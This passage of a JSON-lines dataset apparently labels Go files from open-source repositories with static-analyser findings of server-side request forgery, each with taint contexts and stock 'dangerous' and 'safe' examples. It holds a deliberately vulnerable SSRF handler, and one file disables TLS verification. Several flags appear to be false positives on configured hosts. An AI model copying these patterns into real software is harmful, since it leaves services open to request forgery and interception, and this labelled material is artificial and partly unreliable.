{\n\turl := fmt.Sprintf(\"https://api.mistsys.com/api/v1/sites/%s/stats/clients/%s\", cfg.SiteID, cfg.DeviceMac)\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbytes, err := doRequest(req, cfg.MistAPIToken)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar data DeviceInfo\n\terr = json.Unmarshal(bytes, &data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &data, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 47, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "c6cb9330634ddb728b9c98f55f719f7f283bfa3392e9d71bb574402f42ba3663", "license": {"spdx": ["MIT"], "repo": "Aukbit/pluto", "path": "discovery/consul_register_helper.go", "repo_head_hexsha": "55c7c7e4df7a52c3619ee2d15980ae0cd0b41c5d", "stack_hexsha": "6a7b257e2e939701b3d3001d84970be9e165d933", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 41, "entireCode": "package discovery\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\nfunc register(addr, path string, i interface{}) error {\n\n\tb, err := json.Marshal(i)\n\tif err != nil {\n\t\treturn err\n\t}\n\turl := fmt.Sprintf(\"http://%s%s\", addr, path)\n\treq, err := http.NewRequest(\"PUT\", url, bytes.NewBuffer(b))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(string(body))\n\t}\n\treturn nil\n}\n\nfunc unregister(addr, path, id string) error {\n\n\turl := fmt.Sprintf(\"http://%s%s/%s\", addr, path, id)\n\treq, err := http.NewRequest(\"PUT\", url, bytes.NewBuffer([]byte(\"{}\")))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(string(body))\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 41, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "4f2f581b69db6dad26422382bbbcedb68bef50d867a30b9593b0e6a6a241f02c", "license": {"spdx": ["BSD-3-Clause"], "repo": "ae-business-solutions/go-firemon", "path": "firemon/centralsyslogservers.go", "repo_head_hexsha": "ac981f3fd3558e77e84f985b017bfbf75965de7c", "stack_hexsha": "183b8eb9291c891059fe5c0691c1e2980cbb3aff", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 43, "entireCode": "package firemon\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\ntype CentralSyslogServer struct {\n\tID int `json:\"id\"`\n\tName string `json:\"name\"`\n\tDomainID int `json:\"domainId\"`\n\tIP string `json:\"ip\"`\n\tCentralSyslogConfig struct {\n\t\tID int `json:\"id\"`\n\t\tDomainID int `json:\"domainId\"`\n\t\tName string `json:\"name\"`\n\t\tDescription string `json:\"description\"`\n\t\tPatterns []struct {\n\t\t\tDescription string `json:\"description\"`\n\t\t\tPattern string `json:\"pattern\"`\n\t\t} `json:\"patterns\"`\n\t\tCreatedDate string `json:\"createdDate\"`\n\t\tLastModifiedDate string `json:\"lastModifiedDate\"`\n\t\tCreatedBy string `json:\"createdBy\"`\n\t\tLastModifiedBy string `json:\"lastModifiedBy\"`\n\t} `json:\"centralSyslogConfig\"`\n}\n\ntype CentralSyslogServers struct {\n\tTotal int `json:\"total\"`\n\tPage int `json:\"page\"`\n\tPageSize int `json:\"pageSize\"`\n\tCount int `json:\"count\"`\n\tResults []CentralSyslogServer `json:\"results\"`\n}\n\nfunc (c *Client) GetCentralSyslogServers() ([]CentralSyslogServer, error) {\n\turl := fmt.Sprintf(\"https://%s/securitymanager/api/domain/%d/central-syslog?pageSize=100\", c.BaseURL, c.Domain)\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.SetBasicAuth(c.Username, c.Password)\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif 200 != resp.StatusCode {\n\t\treturn nil, fmt.Errorf(\"%s\", body)\n\t}\n\n\t// Extract JSON\n\tvar data CentralSyslogServers\n\terr = json.Unmarshal(body, &data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data.Results, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 43, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "0ddfcaf590cf1d18d8deeacb4273314491c628b02e57744e993ae788491e9967", "license": {"spdx": ["Apache-2.0"], "repo": "veypi/OneAuth", "path": "oalib/main.go", "repo_head_hexsha": "d3c994bb2eae2186c3359ebee736e0e32725745e", "stack_hexsha": "232937ef740a42aaf6f2b35c492d0a362ffd1491", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 33, "entireCode": "package oalib\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/veypi/utils/jwt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\n/**\n* @name: main\n* @author: veypi <>\n* @date: 2021-11-17 16:28\n* @description:main\n**/\n\nfunc New(c *Config) *OA {\n\tif !c.Valid() {\n\t\tpanic(\"invalid oa config\")\n\t}\n\treturn &OA{cfg: c}\n}\n\ntype OA struct {\n\tcfg *Config\n}\n\nfunc (oa *OA) Ping() error {\n\turl := fmt.Sprintf(\"%s/api/app/%s/ping\", oa.cfg.Host, oa.cfg.UUID)\n\tclient := &http.Client{}\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tp := &PayLoad{}\n\tt, err := jwt.GetToken(p, oa.cfg.Key)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"auth_token\", t)\n\n\tresp, err := client.Do(req)\n\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif string(body) != \"ok\" {\n\t\treturn errors.New(string(body))\n\t}\n\treturn nil\n}\n\nfunc (oa *OA) LoginUrl() string {\n\treturn fmt.Sprintf(\"%s/login?uuid=%s\", oa.cfg.Host, oa.cfg.UUID)\n}\n\nfunc (oa *OA) Parse(token string, payload jwt.PayloadInterface) (bool, error) {\n\treturn jwt.ParseToken(token, payload, oa.cfg.Key)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 33, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "a691df5b2caa1736a8a9087b942e5b61c4e92fb2e262570d7858947809979af0", "license": {"spdx": ["BSD-3-Clause"], "repo": "alebcay/musescore-dl", "path": "internal/pkg/musescore.go", "repo_head_hexsha": "a4420c0b16626dc2209ff41ddab8e593b932e92d", "stack_hexsha": "cbd900d3a217d64b0a5bed6b48617edcb69a7f95", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 41, "entireCode": "package msdl\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"path\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n\t\"github.com/briandowns/spinner\"\n\t\"github.com/chromedp/chromedp\"\n)\n\nfunc GetNumberOfPages(url string) (int, error) {\n\tctx = GetChromeContext()\n\n\tvar res string\n\terr := chromedp.Run(ctx,\n\t\tchromedp.Navigate(url),\n\t\tchromedp.InnerHTML(`:root`, &res, chromedp.NodeVisible),\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tre := regexp.MustCompile(`– (\\d+) of (\\d+) pages\"\\ssrc=\"`)\n\tnumber, err := strconv.Atoi(strings.Fields(strings.TrimSpace(re.FindString(res)))[3])\n\n\treturn number, err\n}\n\nfunc GetPages(id string, secret string, dir string, s *spinner.Spinner, pages int) error {\n\tx := id[len(id)-1:]\n\ty := id[len(id)-2 : len(id)-1]\n\tz := id[len(id)-3 : len(id)-2]\n\n\tfor current_page := 0; current_page < pages; current_page++ {\n\t\tcurrent_url := fmt.Sprintf(\"https://musescore.com/static/musescore/scoredata/gen/%s/%s/%s/%s/%s/score_%d.svg\", x, y, z, id, secret, current_page)\n\t\tresp, err := http.Get(current_url)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif resp.StatusCode != 200 {\n\t\t\tbreak\n\t\t} else {\n\t\t\t// Read response data in to memory\n\t\t\tdocument, err := goquery.NewDocumentFromReader(resp.Body)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvar width float64\n\t\t\tvar height float64\n\n\t\t\tdocument.Find(\"svg\").Each(func(index int, element *goquery.Selection) {\n\t\t\t\twidth_element, exists := element.Attr(\"width\")\n\t\t\t\tif exists {\n\t\t\t\t\twidth, err = strconv.ParseFloat(width_element, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\theight_element, exists := element.Attr(\"height\")\n\t\t\t\tif exists {\n\t\t\t\t\theight, err = strconv.ParseFloat(height_element, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\n\t\t\ts.Suffix = fmt.Sprintf(\" Downloading score (page %d of %d)\", current_page+1, pages)\n\t\t\terr = GeneratePDF(current_url, fmt.Sprintf(path.Join(dir, \"score_%d.pdf\"), current_page), width, height)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc GetScoreIDSecret(url string) (string, string) {\n\t// Make HTTP request\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer response.Body.Close()\n\n\t// Read response data in to memory\n\tdocument, err := goquery.NewDocumentFromReader(response.Body)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t//Process meta elements\n\t// Find and print image URLs\n\n\tvar id string\n\tvar secret string\n\n\tdocument.Find(\"meta\").Each(func(index int, element *goquery.Selection) {\n\t\tproperty, exists := element.Attr(\"property\")\n\t\tif exists && property == \"og:image\" {\n\t\t\tcontent, exists := element.Attr(\"content\")\n\t\t\tif exists {\n\t\t\t\turlparts := strings.Split(content, \"/\")\n\t\t\t\tid = urlparts[10]\n\t\t\t\tsecret = urlparts[11]\n\t\t\t}\n\t\t}\n\t})\n\n\treturn id, secret\n}\n\nfunc GetScoreTitle(url string) string {\n\t// Make HTTP request\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer response.Body.Close()\n\n\t// Read response data in to memory\n\tdocument, err := goquery.NewDocumentFromReader(response.Body)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t//Process meta elements\n\tvar title string\n\n\tdocument.Find(\"meta\").Each(func(index int, element *goquery.Selection) {\n\t\tproperty, exists := element.Attr(\"property\")\n\t\tif exists && property == \"og:title\" {\n\t\t\tcontent, exists := element.Attr(\"content\")\n\t\t\tif exists {\n\t\t\t\ttitle = content\n\t\t\t}\n\t\t}\n\t})\n\n\treturn title\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 41, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "efc7d1d3f0c61160d0e587389fbfb3dd6805cdb8b26937dab1d9a0ac57cd6af8", "license": {"spdx": ["Apache-2.0"], "repo": "kosmgco/etym", "path": "pkg/proxy/xicidaili.go", "repo_head_hexsha": "54c3f3351e9f75acf03407182edf8ec646bb24f0", "stack_hexsha": "17b30ed2dd3d89b061fc7db332d9a9477333e814", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 28, "entireCode": "package proxy\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nvar xicidailiRegex *regexp.Regexp\nvar xicidailiPageRegex *regexp.Regexp\n\nfunc init() {\n\txicidailiRegex = regexp.MustCompile(`(\\d+\\.\\d+\\.\\d+\\.\\d+)(?s:.*?)(\\d+)(?s:.*?)(HTTPS?)`)\n\txicidailiPageRegex = regexp.MustCompile(`.*>(\\d+).*下一页`)\n}\n\ntype xicidaili struct {\n\tbaseUrl string\n}\n\nfunc (s *xicidaili) Wait() {}\n\nfunc (s *xicidaili) Fetch(page int) ([]string, int, error) {\n\treq, err := http.NewRequest(http.MethodGet, fmt.Sprintf(\"%s/%d\", s.baseUrl, page), nil)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\treq.Header.Set(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\")\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, 0, errors.New(resp.Status)\n\t}\n\n\tdata, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tpageMatch := xicidailiPageRegex.FindSubmatch(data)\n\tif len(pageMatch) < 1 {\n\t\treturn nil, 0, errors.New(\"can not match page\")\n\t}\n\tpageNum, err := strconv.Atoi(string(pageMatch[1]))\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tproxies := xicidailiRegex.FindAllSubmatch(data, -1)\n\tif len(proxies) < 1 {\n\t\treturn nil, 0, errors.New(\"match proxy list: noting found\")\n\t}\n\n\tvar result []string\n\tfor _, m := range proxies {\n\t\tresult = append(result, fmt.Sprintf(\"%s://%s:%s\", strings.ToLower(string(m[3])), string(m[1]), string(m[2])))\n\t}\n\treturn result, pageNum, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 28, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "9025b15c477f5d95fc755fd8a84bcf6f2b544a1559481c203da8f4d8620bbecf", "license": {"spdx": ["MIT"], "repo": "GreatGodApollo/gospacebin", "path": "client.go", "repo_head_hexsha": "c995d00e59f20215916990474d8f2de3ab1b35d0", "stack_hexsha": "dbe1887248806ef176041e338b392ca4bc58c008", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 68, "entireCode": "package gospacebin\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\n// NewClient creates a new Spacebin API client. The only parameter is the host the client is connecting to.\n// The return value of this method is the new *Client.\nfunc NewClient(host string) *Client {\n\treturn &Client{\n\t\tHost: host,\n\t}\n}\n\nfunc (cli *Client) makeRequest(req *http.Request) (*Response, error) {\n\treq.Header.Set(\"User-Agent\", \"spacebin-go\")\n\thttpCli := &http.Client{}\n\thttpResp, err := httpCli.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer httpResp.Body.Close()\n\tbody, err := ioutil.ReadAll(httpResp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := UnmarshalResponse(body)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%s\", \"an unexpected response was received\")\n\t}\n\tresp.Status = int64(httpResp.StatusCode)\n\treturn &resp, nil\n}\n\n// CreateDocument allows you to create a new document on the Spacebin. The only parameter is a *CreateDocumentOpts.\n// The return value of this method is a *HashDocument.\nfunc (cli *Client) CreateDocument(opts *CreateDocumentOpts) (*HashDocument, error) {\n\turl := fmt.Sprintf(\"%s/api/v1/documents\", cli.Host)\n\tj, err := opts.Marshal()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq, err := http.NewRequest(\"POST\", url, bytes.NewBuffer(j))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := cli.makeRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.Status != 201 {\n\t\treturn nil, fmt.Errorf(\"%s\", resp.Error)\n\t}\n\treturn &HashDocument{\n\t\tID: *resp.Payload.ID,\n\t\tContentHash: *resp.Payload.ContentHash,\n\t}, nil\n}\n\n// GetDocument allows you to retrieve a document from the Spacebin. The only parameter is a string, the document ID.\n// The return value of this method is a *Document.\nfunc (cli *Client) GetDocument(docID string) (*Document, error) {\n\turl := fmt.Sprintf(\"%s/api/v1/documents/%s\", cli.Host, docID)\n\treq, err := http.NewRequest(\"GET\", url, bytes.NewBuffer([]byte{}))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := cli.makeRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.Status != 200 {\n\t\tif resp.Status == 404 {\n\t\t\treturn nil, fmt.Errorf(\"%s\", \"document not found\")\n\t\t} else {\n\t\t\treturn nil, fmt.Errorf(\"%s\", resp.Error)\n\t\t}\n\t}\n\treturn &Document{\n\t\tID: *resp.Payload.ID,\n\t\tContent: *resp.Payload.Content,\n\t\tExtension: *resp.Payload.Extension,\n\t\tUpdatedAt: *resp.Payload.UpdatedAt,\n\t\tCreatedAt: *resp.Payload.CreatedAt,\n\t}, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 67, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 67, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 68, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "1a31ae3f0acc61ab7400dabd51b0d731c510508db92ea6b7f93e92658694ec71", "license": {"spdx": ["MIT"], "repo": "0xflotus/sand", "path": "client/sand/endpoint.go", "repo_head_hexsha": "64ab2729e1377ba65f594333459ac55f69dd9d85", "stack_hexsha": "362a0fc7908efa9f6ef0c0bf54c38319bd1dfd71", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, 